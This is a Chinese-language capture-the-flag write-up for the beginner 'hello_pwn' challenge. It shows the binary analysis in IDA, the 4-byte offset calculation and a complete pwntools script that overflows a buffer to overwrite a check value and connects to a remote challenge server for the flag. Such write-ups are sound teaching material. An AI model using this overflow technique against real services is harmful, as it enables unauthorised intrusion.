攻防世界简单题 hello_pwn
攻防世界的PWN简单题 此题开始需要我们开始要学会构建payload
并且对C语言基础知识、pwntools、汇编基础知识进行了考察
先checksec看是多少位的程序
发现是64位的小端程序,扔进IDA64,点击左边的main函数,按键盘上的F5,运行伪代码插件,查看C语言伪代码
梳理一下函数的逻辑,发现只要dword_60106c的值等于1853186401就可以运行sub_400686函数,
双击sub_400686函数进去查看!
然后就是想溢出的流程了,计算一下601068到60106c的长度。
可以看出是4个字节
然后编写exp
from pwn import *
payload = b'a'*4 + p64(1853186401)
#构建payload 601068向下输出4个字节的内容
#此时地址正好到60106c,输入需要的数字
coon = remote('111.200.241.244',53871)
#连接远程IP和端口
coon.recv()
#接收远程发来的内容
coon.sendline(payload)
#向远程发送我们的payload
coon.interactive()
#与远程进行交互,就是查看我们的flag
然后运行exp脚本就可以得到flag了